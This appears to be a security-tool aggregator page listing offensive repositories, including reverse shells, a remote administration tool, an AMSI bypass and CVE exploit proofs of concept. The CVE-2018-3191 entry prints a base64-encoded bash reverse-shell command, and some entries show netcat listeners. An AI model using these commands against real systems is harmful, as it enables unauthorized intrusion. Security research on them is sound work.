php-reverse-shell

php-reverse-shell...

Splunk-RCE-poc

Splunk RCE - 概念验证（PoC） 针对 CVE-2023-46214、SVD-2023-1104 的利用概念验证 使用方法 Splunk 实例 URL、用户名、密码、反向 Shell IP 和端口均需作为命令行参数提供。例如： root@kitploit: $ python3 CVE-2023-46214.py --url --username --password --ip --port 前置条件 具有上传到 adddatamethods 权限的 Splunk 凭据 注意：可能存在其他攻击途径，这只是我使用的方式 Splunk 未以 SHC 模式运行 分析...

LOGJ4_PocShell_CVE-2021-44228

log4j-shell-poc 针对近期发现的 CVE-2021-44228 漏洞的概念验证。 近期 log4j（一个被广泛用于 elasticsearch、minecraft 等众多场景的 Java 日志库）中出现了一个新漏洞。 本仓库包含一个示例漏洞应用及其概念验证（POC）利用程序。 概念验证（POC） 作为一个 PoC，提供了一个 Python 文件来自动化整个过程。 依赖安装： root@kitploit: pip install -r requirements.txt 使用方法： 启动一个 netcat 监听器来接收反弹 shell 连接。 root@kitploit: nc...

WBCE-v1.6.3-Authenticated-RCE

WBCE CMS printerror$MESSAGE'GENERICINVALIDADDONFILE'; Una vez que el módulo pasa esta verificación como "Add-On válido", cualquier script install.php se ejecuta automáticamente en el servidor. Este exploit simplemente utiliza un reverse shell en PHP como payload PHP...

sagemcom-fast-3890-exploit

Exploit del Sagemcom Fast 3890 Este exploit utiliza la vulnerabilidad Cable Haunt para obtener una shell en el módem de cable Sagemcom F@ST 3890 50.10.19 desde el acceso a la red local. La versión de firmware 50.10.21 o superior debería ser segura frente a Cable Haunt. Esta prueba de concepto ha...

Http-Asynchronous-Reverse-Shell

HTTP/S Asynchronous Reverse Shell ✨ Introduction In an age where advanced detection systems such as IDS, IPS, EDR, AV, and firewalls dominate corporate networks, evading them during offensive security assessments is a challenge. Most reverse shells leverage TCP tunnels L4, which are now routinely...

HRShell

HRShell: An advanced HTTPS Reverse Shell built with Flask HRShell is an HTTPS/HTTP reverse shell built with flask and is compatible with python 3.x. The client.py has been successfully tested on: Linux ubuntu 18.04 LTS, Kali Linux 2019.3 macOS Mojave/Catalina Windows 7/10 while the server.py is...

watcher

Anti Reverse Shell Hello my name is themoon also known shalev, i created this project to help people who run servers with lower security. You can use this project to protect your computer from attackers who may try to reverse shell your computer Informations on this project You can view how this...

CVE-2026-33017-Langflop

CVE-2026-33017 Langflow "Langflop" PoC de RCE no autenticado PoC para la falla de ejecución de código no autenticada buildpublictmp en Langflow. Sube un componente malicioso a un flujo público, activa una compilación y captura una shell inversa. Solo para pruebas de seguridad autorizadas. Úsalo...

TinkererShell

TinkererShell A simple reverse shell written in python 3.7 just for fun. Actually it supports Windows and Linux OS and integrates some basic features like keylogging and AES encrypted communications. Supported operating systems: Windows Linux OSX Functions and characteristics: Reverse connection...

CVE-2004-1561-Icecast-Header-Overwrite-buffer-overflow-RCE-2.0.1-Win32-

CVE-2004-1561-Icecast-Header-Overwrite-buffer-overflow-RCE-2.0.1-Win32- 使用 使用 Ncat 监听反向 Shell root@kitploit: root@Kali:/TryHackme/Ice nc -nlvp 443 listening on any 443 ... connect to 192.168.92.128 from UNKNOWN 192.168.92.133 49211 Microsoft Windows Version 6.1.7601 Copyright c 2009 Microsoft...

LAZYPARIAH

LAZYPARIAH A low-dependency command-line tool for generating reverse shell payloads on the fly. Description LAZYPARIAH is a simple and easily installable command-line tool written in pure Ruby that can be used during penetration tests and capture-the-flag CTF competitions to generate a range of...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 反弹shell 本地ip：172.16.38.1 Weblogic：172.16.38.174:7001 1、 本地执行 java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' 然后执行 nc -lvv 7777 （1） 其中的 bash...

bluekeep-metasploit-lab-project

Exploiting BlueKeep CVE-2019-0708 on Windows 7 Objective Gain remote access to an unpatched Windows 7 system via the BlueKeep RDP vulnerability using Metasploit. Lab Setup Attacker: Kali Linux Target: Windows 7 Unpatched, RDP Enabled Network: NAT / Host-Only Tools Used Metasploit Framework Kali...

FullBypass

FullBypass A tool which bypasses AMSI AntiMalware Scan Interface and PowerShell CLM Constrained Language Mode and gives you a FullLanguage PowerShell reverse shell. root@kitploit: P.S Please do not use in unethical hacking and follow all rules and regulations of laws Usage: First, Download the...

CVE-2020-0796-RCE-POC

CVE-2020-0796 Remote Code Execution POC c 2020 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes Remote Code Execution POC for CVE-2020-0796 / "SMBGhost" Expected outcome: Reverse shell with system access. Intended only for educational and testing in corporate environments. ZecOps...

ToRat

A Cross Platform Remote Administration tool written in Go using Tor as its transport mechanism currently supporting Windows, Linux, MacOS clients. DISCLAIMER USE FOR EDUCATIONAL PURPOSES ONLY Wiki How to use ToRat Docker Image Preview Client Commands Server Commands Current Features Architecture...

cve-2023-30990

cve-2023-30990-rce IBM i DDM Unauthenticated RCE - Java Reverse Shell...

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner CVE-2025-55182 vulnerability scanning and exploitation tool for remote code execution in Next.js applications. Supports batch detection, command execution, Godzilla memory shell injection, and reverse shell functionality. ⚠️ This tool is intended for security...

CVE-2017-7494

CVE-2017-7494 Remote root exploit for the SAMBA CVE-2017-7494 vulnerability. Details This exploit is divided in 2 parts: First, it compiles a payload called "implant.c" and generates a library libimplantx32.so or libimplantx64.so that changes to the root user, detaches from the parent process and...